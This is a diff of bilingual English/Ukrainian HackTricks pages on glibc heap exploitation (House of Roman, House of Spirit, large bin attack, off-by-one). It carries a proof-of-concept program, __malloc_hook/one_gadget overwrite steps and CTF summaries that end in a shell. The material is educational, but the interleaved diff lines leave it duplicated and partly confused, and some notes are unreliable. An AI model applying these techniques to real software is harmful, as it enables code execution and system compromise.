Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`.
Then `relative_offset_heap` and `fastbin_victim` are freed.
Тепер виділяється новий чанк `fake_libc_chunk(0x60)`, оскільки він міститиме вказівники на `main_arena + 0x68` в `fd` та `bk`.
Потім `relative_offset_heap` та `fastbin_victim` звільняються.
```c
/*
Current heap layout:
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
bin layout:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
bin layout:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
*/
```
- &#x20;`fastbin_victim` має `fd`, що вказує на `relative_offset_heap`
- &#x20;`relative_offset_heap` є зсувом відстані від `fake_libc_chunk`, який містить вказівник на `main_arena + 0x68`
- Просто змінивши останній байт `fastbin_victim.fd`, можна змусити `fastbin_victim` вказувати на `main_arena + 0x68`
- &#x20;`fastbin_victim` has a `fd` pointing to `relative_offset_heap`
- &#x20;`relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68`
- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68`
Для попередніх дій атакуючий повинен мати можливість змінювати вказівник fd `fastbin_victim`.
For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`.
Тоді `main_arena + 0x68` не є таким цікавим, тому давайте змінимо його так, щоб вказівник вказував на **`__malloc_hook`**.
Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**.
Зверніть увагу, що `__memalign_hook` зазвичай починається з `0x7f` і нулів перед ним, тому його можна підробити як значення в `0x70` швидкому біні. Оскільки останні 4 біти адреси є **випадковими**, існує `2^4=16` можливостей для значення, яке в кінцевому підсумку вказує на те, що нас цікавить. Тому тут виконується атака BF, так що шматок закінчується як: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`**.
Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works).
Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`**
(Для отримання додаткової інформації про решту байтів перегляньте пояснення в [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ приклад](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Якщо BF не спрацює, програма просто зламається (тому починайте знову, поки не спрацює).
Потім виконуються 2 malloc, щоб видалити 2 початкові швидкі бін-частини, і третій виділяється, щоб отримати шматок в **`__malloc_hook:`**
```c
malloc(0x60);
malloc(0x60);
uint8_t* malloc_hook_chunk = malloc(0x60);
```
### Частина 2: Атака на Unsorted_bin
### Part 2: Unsorted_bin attack
For more info you can check:
Для отримання додаткової інформації ви можете перевірити:
{{#ref}}
unsorted-bin-attack.md
{{#endref}}
But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`.
For this we start getting a chunk and putting it into the **unsorted bin**:
Але в основному це дозволяє записати `main_arena + 0x68` в будь-яке місце, вказане в `chunk->bk`. І для атаки ми вибираємо `__malloc_hook`. Потім, після перезапису, ми використаємо відносний перезапис, щоб вказати на `one_gadget`.
Для цього ми починаємо отримувати chunk і поміщаємо його в **unsorted bin**:
```c
uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // Don't want to consolidate
@ -91,25 +86,24 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously).
Використайте UAF в цьому чанку, щоб вказати `unsorted_bin_ptr->bk` на адресу `__malloc_hook` (ми раніше це брутфорсили).
> [!CAUTION]
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.**
> Зверніть увагу, що ця атака пошкоджує несортований бін (отже, малий і великий також). Тому ми можемо **використовувати алокації тільки з швидкого біна зараз** (більш складна програма може виконувати інші алокації і зламатися), і щоб викликати це, ми повинні **алокувати той же розмір, інакше програма зламається.**
So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`**
Отже, щоб викликати запис `main_arena + 0x68` в `__malloc_hook`, ми виконуємо після налаштування `__malloc_hook` в `unsorted_bin_ptr->bk`, нам просто потрібно зробити: **`malloc(0x80)`**
### Step 3: Set \_\_malloc_hook to system
### Крок 3: Встановіть \_\_malloc_hook на system
In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here.
На першому кроці ми закінчили контроль над чанком, що містить `__malloc_hook` (в змінній `malloc_hook_chunk`), а на другому кроці нам вдалося записати `main_arena + 0x68` сюди.
Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**.
Тепер ми зловживаємо частковим перезаписом в `malloc_hook_chunk`, щоб використовувати адресу libc, яку ми записали там (`main_arena + 0x68`), щоб **вказати адресу `one_gadget`**.
Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
Ось тут потрібно **брутфорсити 12 біт випадковості** (більше інформації в [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ приклад](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**.
Нарешті, коли правильна адреса буде перезаписана, **викличте `malloc` і викличте `one_gadget`**.
## References
## Посилання
- [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)

View File

@ -2,14 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
### Code
### Код
<details>
<summary>House of Spirit</summary>
```c
#include <unistd.h>
#include <stdlib.h>
@ -19,99 +18,96 @@
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk {
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
};
int main() {
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
ptr = malloc(0x30);
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;
// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;
free(ptr);
free(ptr);
victim = malloc(0x30);
printf("Victim: %p\n", victim);
victim = malloc(0x30);
printf("Victim: %p\n", victim);
return 0;
return 0;
}
```
</details>
### Goal
### Мета
- Be able to add into the tcache / fast bin an address so later it's possible to allocate it
- Мати можливість додати адресу в tcache / fast bin, щоб пізніше можна було її виділити
### Requirements
### Вимоги
- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin.
- Цей напад вимагає, щоб нападник міг створити кілька фальшивих швидких частин, правильно вказуючи значення розміру, а потім мати можливість звільнити першу фальшиву частину, щоб вона потрапила в бін.
### Attack
### Напад
- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes
- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address
**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good:
- Створити фальшиві частини, які обходять перевірки безпеки: вам знадобиться 2 фальшиві частини, які в основному вказують у правильних позиціях правильні розміри
- Якимось чином звільнити першу фальшиву частину, щоб вона потрапила в швидкий або tcache бін, а потім виділити її, щоб перезаписати цю адресу
**Код від** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **чудово допомагає зрозуміти напад.** Хоча ця схема з коду досить добре його узагальнює:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
```
> [!NOTE]
> Note that it's necessary to create the second chunk in order to bypass some sanity checks.
> Зверніть увагу, що необхідно створити другий шматок, щоб обійти деякі перевірки.
## Examples
## Приклади
- **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html)
- **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF
- **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\
Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell.
- **Libc infoleak**: Через переповнення можливо змінити вказівник, щоб він вказував на адресу GOT для витоку адреси libc через дію читання CTF
- **House of Spirit**: Зловживаючи лічильником, який підраховує кількість "гвинтівок", можливо згенерувати фальшивий розмір першого фальшивого шматка, потім, зловживаючи "повідомленням", можливо підробити другий розмір шматка, а нарешті, зловживаючи переповненням, можливо змінити вказівник, який буде звільнений, щоб наш перший фальшивий шматок був звільнений. Потім ми можемо виділити його, і всередині нього буде адреса, де зберігається "повідомлення". Потім можливо зробити так, щоб це вказувало на вхід `scanf` в таблиці GOT, щоб ми могли перезаписати його адресою системи.\
Наступного разу, коли буде викликано `scanf`, ми можемо надіслати введення `"/bin/sh"` і отримати оболонку.
- [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
- **Glibc leak**: Uninitialized stack buffer.
- **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive.
- **Glibc leak**: Нініціалізований стековий буфер.
- **House of Spirit**: Ми можемо змінити перший індекс глобального масиву вказівників на купу. З однією байтовою модифікацією ми використовуємо `free` на фальшивому шматку всередині дійсного шматка, щоб отримати ситуацію з перекритими шматками після повторного виділення. З цим проста атака отруєння Tcache працює для отримання примітиву довільного запису.
## References
## Посилання
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit)

View File

@ -4,55 +4,53 @@
## Basic Information
For more information about what is a large bin check this page:
Для отримання додаткової інформації про те, що таке великий бін, перегляньте цю сторінку:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
Можна знайти чудовий приклад у [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met.
В основному, тут ви можете побачити, як у останній "поточній" версії glibc (2.35) не перевіряється: **`P->bk_nextsize`**, що дозволяє змінювати довільну адресу значенням великого бін-чанка, якщо виконуються певні умови.
In that example you can find the following conditions:
У цьому прикладі ви можете знайти такі умови:
- A large chunk is allocated
- A large chunk smaller than the first one but in the same index is allocated
- Must be smalled so in the bin it must go first
- (A chunk to prevent merging with the top chunk is created)
- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin
- Then, the second large chunk is freed
- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]`
- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2
- Виділено великий чанк
- Виділено великий чанк, менший за перший, але в тому ж індексі
- Повинен бути меншим, тому в біні він повинен йти першим
- (Створюється чанк, щоб запобігти злиттю з верхнім чанком)
- Потім перший великий чанк звільняється, і виділяється новий чанк, більший за нього -> Chunk1 потрапляє до великого біна
- Потім другий великий чанк звільняється
- Тепер вразливість: Зловмисник може змінити `chunk1->bk_nextsize` на `[target-0x20]`
- Потім виділяється більший чанк, ніж чанк 2, тому chunk2 вставляється у великий бін, перезаписуючи адресу `chunk1->bk_nextsize->fd_nextsize` адресою chunk2
> [!TIP]
> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to.
This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten:
> Є й інші потенційні сценарії, суть полягає в тому, щоб додати до великого біна чанк, який є **меншим** за поточний X чанк у біні, тому його потрібно вставити безпосередньо перед ним у біні, і ми повинні мати можливість змінити **`bk_nextsize`** X, оскільки саме туди буде записана адреса меншого чанка.
Це відповідний код з malloc. Коментарі були додані, щоб краще зрозуміти, як адреса була перезаписана:
```c
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck; // fwd = p1
bck = bck->bk; // bck = p1->bk
{
fwd = bck; // fwd = p1
bck = bck->bk; // bck = p1->bk
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
}
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
}
```
Це може бути використано для **перезапису глобальної змінної `global_max_fast`** libc, щоб потім експлуатувати атаку на швидкі контейнери з більшими частинами.
This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks.
Ви можете знайти ще одне чудове пояснення цієї атаки в [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
### Other examples
### Інші приклади
- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
- Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
- The write primitive is more complex, because `global_max_fast` is useless here.
- FSOP is needed to finish the exploit.
- Атака на великий контейнер у тій же ситуації, як це з'являється в [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
- Примітив запису є більш складним, оскільки `global_max_fast` тут марний.
- FSOP потрібен для завершення експлуатації.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,112 +4,110 @@
## Basic Information
Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks.
Маючи доступ лише до 1B переповнення, зловмисник може змінити поле `size` наступного шматка. Це дозволяє маніпулювати тим, які шматки насправді звільнені, потенційно створюючи шматок, що містить інший легітимний шматок. Експлуатація подібна до [double free](double-free.md) або перекриваючих шматків.
There are 2 types of off by one vulnerabilities:
Існує 2 типи вразливостей off by one:
- Arbitrary byte: This kind allows to overwrite that byte with any value
- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00
- A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk.
- This can be expoited with the [House of Einherjar](house-of-einherjar.md).
- If using Tcache, this can be leveraged to a [double free](double-free.md) situation.
- Довільний байт: Цей тип дозволяє перезаписати цей байт будь-яким значенням
- Нульовий байт (off-by-null): Цей тип дозволяє перезаписати цей байт лише значенням 0x00
- Загальний приклад цієї вразливості можна побачити в наступному коді, де поведінка `strlen` і `strcpy` є непослідовною, що дозволяє встановити байт 0x00 на початку наступного шматка.
- Це можна експлуатувати за допомогою [House of Einherjar](house-of-einherjar.md).
- Якщо використовувати Tcache, це можна використати для ситуації [double free](double-free.md).
<details>
<summary>Off-by-null</summary>
```c
// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
int main(void)
{
char buffer[40]="";
void *chunk1;
chunk1 = malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
char buffer[40]="";
void *chunk1;
chunk1 = malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
}
```
</details>
Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28.
Серед інших перевірок, тепер щоразу, коли шматок вільний, попередній розмір порівнюється з розміром, налаштованим у метаданих шматка, що робить цю атаку досить складною з версії 2.28.
### Code example:
### Приклад коду:
- [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c)
- This attack is no longer working due to the use of Tcaches.
- Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)`
- Ця атака більше не працює через використання Tcaches.
- Більше того, якщо ви спробуєте зловживати нею, використовуючи більші шматки (щоб tcaches не були залучені), ви отримаєте помилку: `malloc(): invalid next size (unsorted)`
### Goal
### Мета
- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one
- Зробити шматок, що міститься всередині іншого шматка, так що запис доступу до цього другого шматка дозволяє перезаписати вміщений.
### Requirements
### Вимоги
- Off by one overflow to modify the size metadata information
- Off by one overflow для зміни інформації про розмір метаданих.
### General off-by-one attack
### Загальна атака off-by-one
- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk.
- Free `C` (inserted into 0x20 Tcache free-list).
- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41.
- Now we have `B` containing the free chunk `C`
- Free `B` and allocate a 0x40 chunk (it will be placed here again)
- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning)
- Виділити три шматки `A`, `B` і `C` (скажімо, розміри 0x20), і ще один, щоб запобігти консолідації з top-chunk.
- Вивільнити `C` (вставлений у 0x20 Tcache free-list).
- Використати шматок `A`, щоб переповнити `B`. Зловживати off-by-one, щоб змінити поле `size` у `B` з 0x21 на 0x41.
- Тепер у нас є `B`, що містить вільний шматок `C`.
- Вивільнити `B` і виділити шматок 0x40 (він знову буде розміщений тут).
- Ми можемо змінити вказівник `fd` з `C`, який все ще вільний (отруєння Tcache).
### Off-by-null attack
### Атака off-by-null
- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that its 0x10 smaller than it really is).
- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should.
- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c.
- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2.
- 3 шматки пам'яті (a, b, c) резервуються один за одним. Потім середній шматок звільняється. Перший містить вразливість переповнення off by one, і зловмисник зловживає нею з 0x00 (якщо попередній байт був 0x10, це змусить середній шматок вказувати, що він на 0x10 менший, ніж є насправді).
- Потім у середньому звільненому шматку (b) виділяються ще 2 менші шматки, однак, оскільки `b + b->size` ніколи не оновлює шматок c, тому що вказана адреса менша, ніж повинна бути.
- Потім b1 і c звільняються. Оскільки `c - c->prev_size` все ще вказує на b (тепер b1), обидва консолідуються в один шматок. Однак b2 все ще знаходиться між b1 і c.
- Нарешті, виконується новий malloc, що відновлює цю область пам'яті, яка насправді буде містити b2, дозволяючи власнику нового malloc контролювати вміст b2.
This image explains perfectly the attack:
Це зображення ідеально пояснює атаку:
<figure><img src="../../images/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
## Other Examples & References
## Інші приклади та посилання
- [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks)
- [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
- Off-by-one because of `strlen` considering the next chunk's `size` field.
- Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning.
- Off-by-one через `strlen`, що враховує поле `size` наступного шматка.
- Використовується Tcache, тому загальні атаки off-by-one працюють для отримання довільного запису з отруєнням Tcache.
- [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks)
- It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field.
- Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write.
- The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc.
- Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget.
- Можливо зловживати off by one, щоб витягнути адресу з купи, оскільки байт 0x00 в кінці рядка перезаписується наступним полем.
- Довільний запис отримується шляхом зловживання записом off by one, щоб вказівник вказував на інше місце, де буде побудована фейкова структура з фейковими вказівниками. Потім можна слідувати за вказівником цієї структури, щоб отримати довільний запис.
- Адреса libc витікає, оскільки якщо купа розширена за допомогою mmap, пам'ять, виділена mmap, має фіксований зсув від libc.
- Нарешті, довільний запис зловживає для запису в адресу \_\_free_hook з адресою одного гаджета.
- [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb)
- There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content.
- In the writeup 5 initial chunks are created:
- chunk1 (0x200)
- chunk2 (0x50)
- chunk5 (0x68)
- chunk3 (0x1f8)
- chunk4 (0xf0)
- chunk defense (0x400) to avoid consolidating with top chunk
- Then chunk 1, 5 and 3 are freed, so:
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`.
- Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
- Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning:
- ```python
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
```
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Then, `0x200` bytes are allocated filling the original chunk 1
- And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done
- Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook`
- Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk
- Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address
- Існує вразливість NULL off by one у функції `getline`, яка читає рядки введення користувача. Ця функція використовується для читання "ключа" вмісту, а не самого вмісту.
- У звіті створюється 5 початкових шматків:
- chunk1 (0x200)
- chunk2 (0x50)
- chunk5 (0x68)
- chunk3 (0x1f8)
- chunk4 (0xf0)
- chunk defense (0x400), щоб уникнути консолідації з top chunk.
- Потім шматки 1, 5 і 3 звільняються, тому:
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Потім, зловживаючи chunk3 (0x1f8), зловживають null off-by-one, записуючи prev_size в `0x4e0`.
- Зверніть увагу, що розміри спочатку виділених шматків 1, 2, 5 і 3 плюс заголовки 4 з цих шматків дорівнюють `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
- Потім шматок 4 звільняється, генеруючи шматок, що споживає всі шматки до початку:
- ```python
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
```
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Потім виділяються `0x200` байтів, заповнюючи оригінальний шматок 1.
